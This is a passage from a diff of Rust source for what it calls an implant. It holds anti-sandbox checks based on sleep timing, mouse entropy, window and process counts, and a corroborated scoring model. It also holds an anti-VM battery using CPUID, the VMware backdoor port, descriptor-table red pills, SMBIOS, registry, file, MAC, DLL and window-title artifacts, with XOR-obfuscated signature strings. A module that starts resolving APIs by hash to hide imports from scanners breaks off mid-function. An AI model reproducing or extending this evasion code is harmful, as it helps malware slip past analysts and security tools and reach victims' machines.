count < min_expected
}
}
// ---------------------------------------------------------------------------
// MEDIUM/WEAK signals
// ---------------------------------------------------------------------------
static mut WINDOW_COUNT: u32 = 0;
unsafe extern "system" fn count_cb(_hwnd: usize, _lp: isize) -> i32 {
WINDOW_COUNT += 1;
if WINDOW_COUNT > 500 {
return 0;
}
1
}
/// Very few top-level windows => non-interactive session (service host,
/// headless sandbox). Real desktops accumulate many invisible top-levels.
pub fn window_count_low(threshold: u32) -> bool {
unsafe {
WINDOW_COUNT = 0;
dynapi::EnumWindows(count_cb as usize, 0);
WINDOW_COUNT < threshold
}
}
/// Screen resolution below common minimum for real usage.
pub fn resolution_anomaly() -> bool {
unsafe {
let w = dynapi::GetSystemMetrics(0); // SM_CXSCREEN
let h = dynapi::GetSystemMetrics(1); // SM_CYSCREEN
// Headless sandboxes often report tiny or zero geometry.
w < 1100 || h < 650 || w == 0 || h == 0
}
}
/// Mouse entropy over a short sampling window: a live session shows cursor
/// movement with direction changes. Idle legit machines also show none, so
/// this is weak and must be corroborated.
pub fn mouse_idle(samples: u32, interval_ms: u32) -> bool {
#[repr(C)]
struct Point { x: i32, y: i32 }
unsafe {
let mut last = Point { x: 0, y: 0 };
let mut moves = 0u32;
let mut reversals = 0u32;
let mut last_dx = 0i32;
let mut first = true;
for _ in 0..samples {
let mut p = Point { x: 0, y: 0 };
if dynapi::GetCursorPos(&mut p as *mut _ as *mut c_void) == 0 {
return false;
}
if first {
last = p;
first = false;
} else if p.x != last.x || p.y != last.y {
let dx = p.x - last.x;
if (dx > 0 && last_dx < 0) || (dx < 0 && last_dx > 0) {
reversals += 1;
}
last_dx = dx;
moves += 1;
last = p;
}
abi::Sleep(interval_ms);
}
// Human-like activity requires movement AND at least one reversal
// (curved paths). Pure linear glide is automation.
!(moves >= 2 && reversals >= 1)
}
}
/// Core audio service missing — headless/analysis images frequently strip it.
pub fn audio_service_missing() -> bool {
let p = wide(b"SYSTEM\\CurrentControlSet\\Services\\Audiosrv");
!unsafe { reg_key_exists(&p) }
}
// ---------------------------------------------------------------------------
// Aggregation with corroboration model
// ---------------------------------------------------------------------------
pub struct SbxVerdict {
/// Conclusive hardware/timer tampering — trust alone.
pub hard: bool,
/// Rare-on-clean-hosts signals.
pub strong: u32,
/// Common-noise signals, only meaningful with corroboration.
pub weak: u32,
/// Final computed suspicion score.
pub score: u32,
}
/// Run the full battery and compute a corroborated verdict.
///
/// Scoring:
/// - any hard signal → hard=true (caller treats as hostile immediately)
/// - score = strong*3 + (weak only if strong>0 else 0), capped
/// - identity marker counts as strong but adds +1 bonus weak-equivalent
/// because it correlates strongly with lab environments
pub fn verdict(mouse_samples: u32, mouse_interval_ms: u32) -> SbxVerdict {
let mut strong: u32 = 0;
let mut weak: u32 = 0;
// --- Hard layer ---
let hard = sleep_accelerated(1200)
|| timer_inconsistent()
|| kernel_sleep_accelerated(800);
// --- Strong layer ---
if identity_markers() {
strong += 1;
}
if desktop_activity_sparse() {
strong += 1;
}
if installed_programs_sparse(6) {
strong += 1;
}
// --- Weak layer ---
if window_count_low(12) {
weak += 1;
}
if resolution_anomaly() {
weak += 1;
}
if audio_service_missing() {
weak += 1;
}
// Mouse idle costs ~1-2s; run it last.
if mouse_idle(mouse_samples, mouse_interval_ms) {
weak += 1;
}
// Corroboration rule: weak signals are only trusted in the presence of
// at least one strong signal. This is the FP killer: a legit fresh PC
// might trip 2-3 weak signals but almost never a strong one alongside.
let effective_weak = if strong > 0 { weak } else { 0 };
let score = strong * 3 + effective_weak;
SbxVerdict { hard, strong, weak, score }
}
/// Cheap second-pass verification intended to run AFTER the implant's first
/// sleep cycle. Sandbox artifacts (accelerated sleeps, absent input) become
/// more pronounced over time; a second opinion reduces transient FPs.
pub fn verify_second_pass() -> SbxVerdict {
let mut strong: u32 = 0;
let mut weak: u32 = 0;
let hard = sleep_accelerated(900);
if desktop_activity_sparse() {
strong += 1;
}
// Long-window input absence with minimum uptime guard.
unsafe {
let now = abi::GetTickCount64();
if now > 15 * 60 * 1000 {
let mut li: [u32; 2] = [core::mem::size_of::<u32>() as u32 * 2, 0];
if dynapi::GetLastInputInfo(li.as_mut_ptr() as *mut c_void) != 0 {
let last = li[1] as u64;
if now.saturating_sub(last) > 20 * 60 * 1000 {
weak += 1;
}
}
}
}
let effective_weak = if strong > 0 { weak } else { 0 };
let score = strong * 3 + effective_weak;
SbxVerdict { hard, strong, weak, score }
}
@@ -0,0 +1,847 @@
//! Comprehensive anti-VM / anti-sandbox detection.
//!
//! Layered detection across many independent vectors; each returns a small
//! score contribution. A total above a threshold means the host is very likely
//! virtual or an automated analysis sandbox.
//!
//! Vectors implemented:
//! 1. CPUID hypervisor bit + vendor string (leaf 0x40000000)
//! 2. CPU brand string (leaves 0x80000002..4) — "Virtual", "KVM", etc.
//! 3. VMware backdoor I/O port (VMware-specific magic value in EBX/ECX)
//! 4. Instruction red pills — SIDT/SGDT/STR machine-specific values
//! 5. SMBIOS / firmware table strings
//! 6. Registry artifacts (VMware Tools, VBox Guest Additions, QEMU, Xen)
//! 7. Filesystem artifacts (tool binaries, driver files, pipe names)
//! 8. MAC address OUI prefixes (VMware/VBox/QEMU/Xen/Hyper-V/KVM vendors)
//! 9. Uptime anomaly (fresh snapshot = low uptime)
//! 10. Process count anomaly (sandbox VMs run few processes)
//! 11. User-input absence (no mouse movement, no keyboard input ever)
//! 12. Loaded DLL scan (vmguestlib.dll, vboxhook.dll, etc.)
//! 13. Window class/title scan (VBoxTrayToolWindow, VMware tool windows)
//! 14. Disk characteristics (fixed-drive volume name patterns)
//! 15. CPU core/RAM quirk checks
//! 16. Display driver + refresh rate checks
#![allow(dead_code)]
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use crate::abi;
use crate::dynapi;
use crate::gen;
use crate::obf;
// ---------------------------------------------------------------------------
// String helpers
// ---------------------------------------------------------------------------
fn lower(b: &[u8]) -> Vec<u8> {
b.iter().map(|c| c.to_ascii_lowercase()).collect()
}
fn contains(hay: &[u8], needle: &[u8]) -> bool {
if needle.is_empty() || hay.len() < needle.len() {
return false;
}
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
}
// ---------------------------------------------------------------------------
// 1-2. CPUID-based detection
// ---------------------------------------------------------------------------
#[inline]
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
let mut a = leaf;
let mut c = sub;
let mut d = 0u32;
let mut b = 0u32;
asm!(
"push rbx",
"cpuid",
"mov {tmp:e}, ebx",
"pop rbx",
inout("eax") a,
inout("ecx") c,
out("edx") d,
tmp = lateout(reg) b,
options(nostack, preserves_flags),
);
(a, b, c, d)
}
/// Hypervisor-present bit (leaf 1 ECX bit 31).
pub fn cpuid_hypervisor_bit() -> bool {
unsafe {
let (_, _, ecx, _) = cpuid(1, 0);
ecx & (1 << 31) != 0
}
}
/// Extended hypervisor vendor string via leaf 0x40000000 (EBX:ECX:EDX).
pub fn cpuid_hypervisor_vendor() -> Option<String> {
if !cpuid_hypervisor_bit() {
return None;
}
unsafe {
let (max_leaf, ebx, ecx, edx) = cpuid(0x4000_0000, 0);
if max_leaf == 0 {
return None;
}
let bytes: Vec<u8> = [
ebx.to_le_bytes(),
ecx.to_le_bytes(),
edx.to_le_bytes(),
]
.iter()
.flatten()
.copied()
.collect();
Some(String::from_utf8_lossy(&bytes).trim_end_matches('\0').to_string())
}
}
/// CPU brand string via extended leaves. Real CPUs say "Intel(R) Core..." /
/// "AMD Ryzen...". VMs often inject "Common KVM processor" etc.
pub fn cpuid_brand_suspicious() -> bool {
unsafe {
let (_, max_ext, _, _) = {
// leaf 0x80000000 returns max ext leaf in EAX
let r = cpuid(0x8000_0000, 0);
(r.0, r.0, r.2, r.3)
};
if max_ext < 0x8000_0004 {
return false;
}
let mut brand = Vec::with_capacity(48);
for leaf in [0x8000_0002u32, 0x8000_0003, 0x8000_0004] {
let (a, b, c, d) = cpuid(leaf, 0);
for v in [a, b, c, d] {
brand.extend_from_slice(&v.to_le_bytes());
}
}
let bl = lower(&brand);
let key: u8 = gen::K_VENDOR;
let bad: [(obf::Slot, u32); 6] = [
obf::sig(key, 0x6101, b"kvm"),
obf::sig(key, 0x6102, b"virtual"),
obf::sig(key, 0x6103, b"qemu"),
obf::sig(key, 0x6104, b"vmware"),
obf::sig(key, 0x6105, b"xen"),
obf::sig(key, 0x6106, b"hyper-v"),
];
const LENS: [usize; 6] = [3, 7, 4, 6, 3, 7];
for (i, s) in bad.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&bl, &plain[..LENS[i]]) {
return true;
}
}
false
}
}
// ---------------------------------------------------------------------------
// 3. VMware backdoor I/O port
// ---------------------------------------------------------------------------
/// VMware's backdoor: `in eax, dx` with DX=0x5658 ("VX") and EAX=0x564D5868
/// ("VMXh"). On real VMware, ECX returns the magic 'VMXh'. On bare metal this
/// raises SIGSEGV/#GP which we must catch — we can't easily do that from Rust
/// without SEH, so we only run this when the hypervisor bit is set anyway
/// (cheap and safe), making it a *refinement* rather than a primary signal.
pub fn vmware_backdoor_present() -> bool {
if !cpuid_hypervisor_bit() {
return false;
}
unsafe {
let magic: u32 = 0x564D_5868; // 'VMXh'
let port: u16 = 0x5658; // 'VX'
let ver_out: u32;
let magic_out: u32;
asm!(
"push rbx",
"mov ebx, {magic:e}",
"mov ecx, 0xA", // backdoor cmd: get version
"in eax, dx",
"mov {mo:e}, ebx",
"pop rbx",
magic = in(reg) magic,
mo = out(reg) magic_out,
inlateout("eax") magic => ver_out,
out("ecx") _,
in("dx") port,
options(nostack),
);
// VMware returns its version in EAX; EBX may echo the magic.
ver_out != magic || (magic_out & 0xFFFF_FFFF) == magic
}
}
// ---------------------------------------------------------------------------
// 4. Instruction red pills
// ---------------------------------------------------------------------------
/// SIDT returns the base of the Interrupt Descriptor Table. In VMware on Intel
/// the IDT base is commonly at 0xFFxxxxxx (above kernel range start), while on
/// bare metal it is usually lower. This is a weak heuristic; score it lightly.
pub fn sidt_red_pill() -> bool {
#[repr(C, packed(2))]
struct Descriptor {
limit: u16,
base: u64,
}
let mut d = Descriptor { limit: 0, base: 0 };
unsafe {
asm!(
"sidt [{}]",
in(reg) &mut d as *mut Descriptor,
options(nostack, preserves_flags),
);
}
// Common VMware-on-Intel signature.
(d.base >> 24) >= 0xFF && (d.base >> 32) == 0
}
/// SLDT (Store Local Descriptor Table). On bare metal LDT is usually 0; some
/// hypervisors leave a nonzero selector. Weak heuristic.
pub fn sldt_anomaly() -> bool {
let ldt: u16;
unsafe {
asm!("sldt {0:x}", out(reg) ldt, options(nostack, preserves_flags));
}
ldt != 0
}
/// STR (Store Task Register) — trampoline check used by some sandboxes.
pub fn str_anomaly(expected_low: u16) -> bool {
let tr: u16;
unsafe {
asm!("str {0:x}", out(reg) tr, options(nostack, preserves_flags));
}
// Windows usermode task register is typically 0x0040-ish under WoW or 0
// in x64. Values far outside normal ranges suggest instrumentation.
tr != expected_low && tr > 0x40
}
// ---------------------------------------------------------------------------
// 5. SMBIOS firmware strings
// ---------------------------------------------------------------------------
pub fn smbios_firmware_strings() -> bool {
const RSMB: u32 = 0x5253_4D42;
let size = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0) };
if size == 0 || size > 4 * 1024 * 1024 {
return false;
}
let mut buf = vec![0u8; size as usize];
let got = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size) };
if got == 0 {
return false;
}
buf.truncate(got as usize);
let bl = lower(&buf);
let key: u8 = gen::K_SMBIOS;
let bad: [(obf::Slot, u32); 12] = [
obf::sig(key, 0x2001, b"vmware"),
obf::sig(key, 0x2002, b"virtualbox"),
obf::sig(key, 0x2003, b"qemu"),
obf::sig(key, 0x2004, b"kvm"),
obf::sig(key, 0x2005, b"innotek"),
obf::sig(key, 0x2006, b"bochs"),
obf::sig(key, 0x2007, b"virtual machine"),
obf::sig(key, 0x2008, b"hyper-v"),
obf::sig(key, 0x2009, b"parallels"),
obf::sig(key, 0x200a, b"bhyve"),
obf::sig(key, 0x200b, b"xen"),
obf::sig(key, 0x200c, b"vbox"),
];
const LENS: [usize; 12] = [6, 10, 4, 3, 7, 5, 15, 7, 9, 5, 3, 4];
for (i, s) in bad.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&bl, &plain[..LENS[i]]) {
return true;
}
}
false
}
// ---------------------------------------------------------------------------
// 6. Registry artifacts
// ---------------------------------------------------------------------------
/// Check if a registry key exists under HKLM.
unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool {
let mut hk: usize = 0;
let status = dynapi::RegOpenKeyExW(
abi::HKEY_LOCAL_MACHINE,
subkey_wide.as_ptr(),
0,
abi::KEY_READ,
&mut hk,
);
if status == 0 {
dynapi::RegCloseKey(hk);
true
} else {
false
}
}
fn wide(s: &[u8]) -> Vec<u16> {
s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect()
}
pub fn registry_artifacts() -> u32 {
let mut hits: u32 = 0;
let key: u8 = gen::K_ENV;
let paths: [(obf::Slot, u32); 10] = [
// SOFTWARE\VMware, Inc.\VMware Tools
obf::sig(key, 0x4201, b"SOFTWARE\\VMware, Inc.\\VMware Tools"),
// SOFTWARE\Oracle\VirtualBox Guest Additions
obf::sig(key, 0x4202, b"SOFTWARE\\Oracle\\VirtualBox Guest Additions"),
// SYSTEM\ControlSet001\Services\VBoxGuest
obf::sig(key, 0x4203, b"SYSTEM\\ControlSet001\\Services\\VBoxGuest"),
// SYSTEM\ControlSet001\Services\VBoxMouse
obf::sig(key, 0x4204, b"SYSTEM\\ControlSet001\\Services\\VBoxMouse"),
// SYSTEM\ControlSet001\Services\VBoxSF
obf::sig(key, 0x4205, b"SYSTEM\\ControlSet001\\Services\\VBoxSF"),
// SYSTEM\ControlSet001\Services\VBoxVideo
obf::sig(key, 0x4206, b"SYSTEM\\ControlSet001\\Services\\VBoxVideo"),
// HARDWARE\ACPI\DSDT\VBOX__
obf::sig(key, 0x4207, b"HARDWARE\\ACPI\\DSDT\\VBOX__"),
// HARDWARE\ACPI\FADT\VBOX__
obf::sig(key, 0x4208, b"HARDWARE\\ACPI\\FADT\\VBOX__"),
// HARDWARE\Description\System\BIOS with SystemManufacturer
obf::sig(key, 0x4209, b"HARDWARE\\Description\\System\\BIOS"),
// SYSTEM\ControlSet001\Services\vmci
obf::sig(key, 0x420a, b"SYSTEM\\ControlSet001\\Services\\vmci"),
];
const LENS: [usize; 10] = [33, 41, 41, 41, 39, 41, 28, 28, 35, 38];
unsafe {
for (i, s) in paths.iter().enumerate() {
let raw = obf::dec_sig(key, s, LENS[i]);
let w = wide(&raw[..LENS[i]]);
if reg_key_exists(&w) {
hits += 1;
if hits >= 2 {
return hits;
}
}
}
// BIOS table: read SystemManufacturer + SystemProductName values.
let bios_key = wide(b"HARDWARE\\DESCRIPTION\\System\\BIOS");
if let Some(hk) = open(&bios_key) {
let val_names: [(obf::Slot, u32); 2] = [
obf::sig(gen::K_ENV, 0x4301, b"SystemManufacturer"),
obf::sig(gen::K_ENV, 0x4302, b"SystemProductName"),
];
const VLENS: [usize; 2] = [18, 17];
let mut buf = [0u8; 256];
for (i, vn) in val_names.iter().enumerate() {
let raw = obf::dec_sig(gen::K_ENV, vn, VLENS[i]);
let vw = wide(&raw[..VLENS[i]]);
let mut sz: u32 = buf.len() as u32;
let st = dynapi::RegQueryValueExW(
hk, vw.as_ptr(), ptr::null_mut(), ptr::null_mut(),
buf.as_mut_ptr(), &mut sz,
);
if st == 0 && sz > 0 {
let vl = lower(&buf[..sz as usize]);
let markers: [&[u8]; 6] =
[b"vmware", b"virtualbox", b"qemu", b"kvm", b"xen", b"microsoft corporation virtual"];
for m in markers {
if contains(&vl, m) {
hits += 1;
}
}
}
}
dynapi::RegCloseKey(hk);
}
}
hits
}
unsafe fn open(subkey_wide: &[u16]) -> Option<usize> {
let mut hk: usize = 0;
if dynapi::RegOpenKeyExW(
abi::HKEY_LOCAL_MACHINE,
subkey_wide.as_ptr(),
0,
abi::KEY_READ,
&mut hk,
) == 0
{
Some(hk)
} else {
None
}
}
// ---------------------------------------------------------------------------
// 7. Filesystem artifacts
// ---------------------------------------------------------------------------
const FILE_ATTRIBUTE_INVALID: u32 = 0xFFFF_FFFF;
unsafe fn file_exists(path_wide: &[u16]) -> bool {
abi::GetFileAttributesW(path_wide.as_ptr()) != FILE_ATTRIBUTE_INVALID
}
pub fn filesystem_artifacts() -> u32 {
let mut hits: u32 = 0;
let key: u8 = gen::K_ENV;
let files: [(obf::Slot, u32); 14] = [
obf::sig(key, 0x4401, b"C:\\Program Files\\VMware\\VMware Tools"),
obf::sig(key, 0x4402, b"C:\\Program Files\\Oracle\\VirtualBox Guest Additions"),
obf::sig(key, 0x4403, b"C:\\Windows\\System32\\drivers\\vmmouse.sys"),
obf::sig(key, 0x4404, b"C:\\Windows\\System32\\drivers\\vmhgfs.sys"),
obf::sig(key, 0x4405, b"C:\\Windows\\System32\\drivers\\vboxguest.sys"),
obf::sig(key, 0x4406, b"C:\\Windows\\System32\\drivers\\vboxmouse.sys"),
obf::sig(key, 0x4407, b"C:\\Windows\\System32\\vboxdisp.dll"),
obf::sig(key, 0x4408, b"C:\\Windows\\System32\\vboxhook.dll"),
obf::sig(key, 0x4409, b"C:\\Windows\\System32\\vboxmrxnp.dll"),
obf::sig(key, 0x440a, b"C:\\Windows\\System32\\drivers\\balloon.sys"),
obf::sig(key, 0x440b, b"C:\\Windows\\System32\\drivers\\netkvm.sys"),
obf::sig(key, 0x440c, b"C:\\Windows\\System32\\drivers\\pvpanic.sys"),
obf::sig(key, 0x440d, b"C:\\Program Files\\Parallels\\Parallels Tools"),
obf::sig(key, 0x440e, b"C:\\Windows\\System32\\prl_cc.exe"),
];
const LENS: [usize; 14] = [37, 51, 43, 42, 46, 46, 39, 38, 42, 44, 44, 44, 45, 36];
unsafe {
for (i, s) in files.iter().enumerate() {
let raw = obf::dec_sig(key, s, LENS[i]);
let w = wide(&raw[..LENS[i]]);
if file_exists(&w) {
hits += 1;
if hits >= 2 {
return hits;
}
}
}
}
hits
}
// ---------------------------------------------------------------------------
// 8. MAC address OUI prefixes
// ---------------------------------------------------------------------------
#[repr(C)]
struct IpAdapterAddresses {
_length: u32,
_if_index: u32,
next: *mut IpAdapterAddresses,
_adapter_name: *const u8,
_first_unicast: *mut c_void,
_first_anycast: *mut c_void,
_first_multicast: *mut c_void,
_dns_server: *mut c_void,
_dns_suffix: *mut u16,
_description: *mut u16,
_friendly_name: *mut u16,
physical_address: [u8; 8],
physical_address_length: u32,
_flags: u32,
}
/// Known VM/hypervisor OUI prefixes (first 3 bytes of MAC).
const VM_OUIS: [[u8; 3]; 12] = [
[0x00, 0x05, 0x69], // VMware
[0x00, 0x0C, 0x29], // VMware
[0x00, 0x1C, 0x14], // VMware
[0x00, 0x50, 0x56], // VMware
[0x08, 0x00, 0x27], // VirtualBox
[0x0A, 0x00, 0x27], // VirtualBox (alt)
[0x52, 0x54, 0x00], // QEMU/KVM
[0x00, 0x16, 0x3E], // Xen
[0x00, 0x1C, 0x42], // Parallels
[0x00, 0x03, 0xFF], // Hyper-V (Microsoft)
[0x00, 0x15, 0x5D], // Hyper-V
[0x02, 0x42, 0xAC], // Docker bridge (container/sandbox hint)
];
const AF_UNSPEC: u32 = 0;
const GAA_FLAG_INCLUDE_ALL_INTERFACES: u32 = 0x100;
const ERROR_BUFFER_OVERFLOW: u32 = 111;
pub fn mac_address_vm() -> bool {
unsafe {
let mut size: u32 = 0;
// First call to get required buffer size.
let rc = dynapi::GetAdaptersAddresses(
AF_UNSPEC,
GAA_FLAG_INCLUDE_ALL_INTERFACES,
ptr::null_mut(),
ptr::null_mut(),
&mut size,
);
if rc != ERROR_BUFFER_OVERFLOW || size == 0 {
return false;
}
let mut buf = vec![0u8; size as usize];
let head = buf.as_mut_ptr() as *mut IpAdapterAddresses;
let rc = dynapi::GetAdaptersAddresses(
AF_UNSPEC,
GAA_FLAG_INCLUDE_ALL_INTERFACES,
ptr::null_mut(),
head as *mut c_void,
&mut size,
);
if rc != 0 {
return false;
}
let mut cur = head;
while !cur.is_null() {
let a = &*cur;
let len = a.physical_address_length as usize;
if len >= 3 {
for oui in VM_OUIS.iter() {
if a.physical_address[0] == oui[0]
&& a.physical_address[1] == oui[1]
&& a.physical_address[2] == oui[2]
{
return true;
}
}
}
cur = a.next;
}
}
false
}
// ---------------------------------------------------------------------------
// 9. Uptime anomaly
// ---------------------------------------------------------------------------
/// Sandboxes frequently boot from a fresh snapshot minutes before detonation.
pub fn uptime_suspicious(max_minutes: u64) -> bool {
let ms = unsafe { abi::GetTickCount64() };
ms < max_minutes * 60 * 1000
}
// ---------------------------------------------------------------------------
// 10. Process-count anomaly
// ---------------------------------------------------------------------------
pub fn process_count_low(min_expected: usize) -> bool {
const TH32CS_SNAPPROCESS: u32 = 0x2;
unsafe {
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
return false;
}
#[repr(C)]
struct Pe32W {
dw_size: u32,
_pad: [u32; 7],
sz_exe_file: [u16; 260],
}
let mut e: Pe32W = core::mem::zeroed();
e.dw_size = core::mem::size_of::<Pe32W>() as u32;
let mut count: usize = 0;
if abi::Process32FirstW(snap, &mut e as *mut _ as *mut c_void) != 0 {
loop {
count += 1;
if count > min_expected {
break;
}
if abi::Process32NextW(snap, &mut e as *mut _ as *mut c_void) == 0 {
break;
}
}
}
abi::CloseHandle(snap);
count <= min_expected
}
}
// ---------------------------------------------------------------------------
// 11. User input absence
// ---------------------------------------------------------------------------
#[repr(C)]
struct LastInputInfo {
cb_size: u32,
dw_time: u32,
}
/// No keyboard/mouse input within N ms => nobody is using this machine =>
/// likely an automated sandbox. Only meaningful when uptime is long enough
/// (a freshly booted real PC also has no input yet).
pub fn no_user_input(window_ms: u32, min_uptime_ms: u64) -> bool {
unsafe {
let now = abi::GetTickCount64();
if now < min_uptime_ms {
return false; // too early to judge
}
let mut li = LastInputInfo {
cb_size: core::mem::size_of::<LastInputInfo>() as u32,
dw_time: 0,
};
if dynapi::GetLastInputInfo(&mut li as *mut _ as *mut c_void) == 0 {
return false;
}
let last = li.dw_time as u64;
// GetTickCount wraps ~49 days; ignore wrap edge case for simplicity.
now.saturating_sub(last) > window_ms as u64
}
}
// ---------------------------------------------------------------------------
// 12. Loaded module scan
// ---------------------------------------------------------------------------
pub fn vm_dlls_loaded() -> bool {
const TH32CS_SNAPMODULE: u32 = 0x8;
unsafe {
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
return false;
}
#[repr(C)]
struct Me32W {
dw_size: u32,
_mid: [u32; 7],
_base: usize,
sz_module: [u16; 256],
sz_exe_path: [u16; 260],
}
let mut me: Me32W = core::mem::zeroed();
me.dw_size = core::mem::size_of::<Me32W>() as u32;
let key: u8 = gen::K_TOKEN;
let bad: [(obf::Slot, u32); 8] = [
obf::sig(key, 0x4501, b"vmguestlib"),
obf::sig(key, 0x4502, b"vboxhook"),
obf::sig(key, 0x4503, b"vboxmrxnp"),
obf::sig(key, 0x4504, b"vmswitch"),
obf::sig(key, 0x4505, b"sandboxie"),
obf::sig(key, 0x4506, b"dbghelp"),
obf::sig(key, 0x4507, b"api_log"),
obf::sig(key, 0x4508, b"dir_watch"),
];
const LENS: [usize; 8] = [11, 8, 10, 8, 9, 7, 8, 9];
let mut found = false;
if abi::Module32FirstW(snap, &mut me as *mut _ as *mut c_void) != 0 {
loop {
let mut name = Vec::with_capacity(512);
for ch in me.sz_module.iter() {
if *ch == 0 { break; }
name.push(*ch as u8);
}
let nl = lower(&name);
for (i, s) in bad.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&nl, &plain[..LENS[i]]) {
found = true;
break;
}
}
if found { break; }
if abi::Module32NextW(snap, &mut me as *mut _ as *mut c_void) == 0 {
break;
}
}
}
abi::CloseHandle(snap);
found
}
}
// ---------------------------------------------------------------------------
// 13. Window title/class scan
// ---------------------------------------------------------------------------
static mut WINDOW_HIT: bool = false;
/// EnumWindows callback: check window text + class against encrypted signatures.
unsafe extern "system" fn enum_cb(hwnd: usize, _lparam: isize) -> i32 {
let mut text = [0u16; 256];
let mut cls = [0u16; 256];
dynapi::GetWindowTextW(hwnd, text.as_mut_ptr(), 256);
dynapi::GetClassNameW(hwnd, cls.as_mut_ptr(), 256);
let tlen = text.iter().position(|&c| c == 0).unwrap_or(0);
let clen = cls.iter().position(|&c| c == 0).unwrap_or(0);
let tb: Vec<u8> = text[..tlen].iter().map(|&c| c as u8).collect();
let cb: Vec<u8> = cls[..clen].iter().map(|&c| c as u8).collect();
let key: u8 = gen::K_DISPLAY;
let bad: [(obf::Slot, u32); 6] = [
obf::sig(key, 0x5501, b"vboxtraytoolwindow"),
obf::sig(key, 0x5502, b"vboxtray"),
obf::sig(key, 0x5503, b"vmwareuser"),
obf::sig(key, 0x5504, b"vmwaretray"),
obf::sig(key, 0x5505, b"paratools"),
obf::sig(key, 0x5506, b"cuckoo sandbox"),
];
const LENS: [usize; 6] = [18, 8, 11, 10, 9, 13];
let tl = lower(&tb);
let cl = lower(&cb);
for (i, s) in bad.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
let p = &plain[..LENS[i]];
if contains(&tl, p) || contains(&cl, p) {
WINDOW_HIT = true;
return 0; // stop enumeration
}
}
1 // continue
}
pub fn vm_tool_windows() -> bool {
unsafe {
WINDOW_HIT = false;
dynapi::EnumWindows(enum_cb as usize, 0);
WINDOW_HIT
}
}
// ---------------------------------------------------------------------------
// 14. Disk / volume characteristics
// ---------------------------------------------------------------------------
/// Fixed drives whose volume label matches common VM defaults
/// ("System Reserved" alone is fine; but "VBOX", "CDROM" etc are not).
pub fn disk_artifacts() -> bool {
let key: u8 = gen::K_SMBIOS;
let labels: [(obf::Slot, u32); 5] = [
obf::sig(key, 0x5601, b"vbox"),
obf::sig(key, 0x5602, b"cdrom"),
obf::sig(key, 0x5603, b"ubuntu"),
obf::sig(key, 0x5604, b"debian"),
obf::sig(key, 0x5605, b"kali"),
];
const LENS: [usize; 5] = [4, 5, 6, 6, 4];
// DRIVE_FIXED = 3
const DRIVE_FIXED: u32 = 3;
for letter in [b'C', b'D', b'E'] {
let root: Vec<u8> = vec![letter, b':', b'\\'];
let rw = wide(&root);
unsafe {
if abi::GetDriveTypeW(rw.as_ptr()) != DRIVE_FIXED {
continue;
}
let mut vol = [0u16; 128];
let mut serial: u32 = 0;
let ok = abi::GetVolumeInformationW(
rw.as_ptr(),
vol.as_mut_ptr(),
128,
&mut serial,
ptr::null_mut(),
ptr::null_mut(),
ptr::null_mut(),
0,
);
if ok == 0 {
continue;
}
let vlen = vol.iter().position(|&c| c == 0).unwrap_or(0);
let vb: Vec<u8> = vol[..vlen].iter().map(|&c| c as u8).collect();
let vl = lower(&vb);
for (i, s) in labels.iter().enumerate() {
let plain = obf::dec_sig(key, s, LENS[i]);
if contains(&vl, &plain[..LENS[i]]) {
return true;
}
}
}
}
false
}
// ---------------------------------------------------------------------------
// Score aggregation
// ---------------------------------------------------------------------------
/// Run all anti-VM vectors and return a cumulative score.
/// Higher = more suspicious. Caller applies threshold.
pub fn score() -> u32 {
let mut s: u32 = 0;
// Primary signals (high weight).
if cpuid_hypervisor_bit() {
s += 3;
}
if smbios_firmware_strings() {
s += 3;
}
if mac_address_vm() {
s += 3;
}
if registry_artifacts() >= 2 {
s += 3;
}
if filesystem_artifacts() >= 2 {
s += 3;
}
// Secondary signals (medium weight).
if let Some(vendor) = cpuid_hypervisor_vendor() {
let vl = lower(vendor.as_bytes());
for m in [b"vmware".as_slice(), b"vbox".as_slice(), b"kvm".as_slice(), b"qemu".as_slice()] {
if contains(&vl, m) {
s += 2;
break;
}
}
// VMware backdoor port: only safe to probe when a hypervisor is
// already known present (avoids #GP on bare metal).
if contains(&vl, b"vmware") && vmware_backdoor_present() {
s += 2;
}
}
if cpuid_brand_suspicious() {
s += 2;
}
if vm_dlls_loaded() {
s += 2;
}
if vm_tool_windows() {
s += 2;
}
// Tertiary signals (low weight; individually noisy, collectively telling).
if uptime_suspicious(20) {
s += 1;
}
if process_count_low(30) {
s += 1;
}
if no_user_input(120_000, 10 * 60 * 1000) {
s += 1;
}
if disk_artifacts() {
s += 1;
}
// Instruction-level heuristics (very weak individually).
if s >= 2 {
// Only refine when other signals exist, to avoid FP on bare metal.
if sidt_red_pill() {
s += 1;
}
if sldt_anomaly() {
s += 1;
}
}
s
}
@@ -0,0 +1,265 @@
//! Runtime API resolution by hash — no import table entry needed.
//!
//! Many analysis tools triage an implant by its static import table. This module
//! resolves a handful of critical NT/K32 APIs at runtime by walking the PEB
//! module list and scanning export names with a rotating hash, exactly like the
//! reflective loader does. The guard never needs those APIs to appear in its
//! imports, so a scanner sees a much quieter PE.
//!
//! This is intentionally additive: the payload *already* worked via its normal
//! import table (fixed up by the reflective loader). For the guard, resolving a
//! few crypto/VM/debug APIs by hash lets us probe deeper without declaring them.
use core::ffi::c_void;
use core::ptr;
use crate::abi;
#[inline(always)]
fn ror1(v: u32) -> u32 {
v.wrapping_shr(1) | v.wrapping_shl(31)
}
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
let mut h: u32 = 0;
let mut i = 0;
while i < nchars {
let c = ptr::read_volatile((ptr + i * 2) as *const u16);
h = ror1(h);
if (0x61..=0x7A).contains(&c) {
h = h.wrapping_add((c - 0x20) as u32);
} else {
h = h.wrapping_add(c as u32);
}
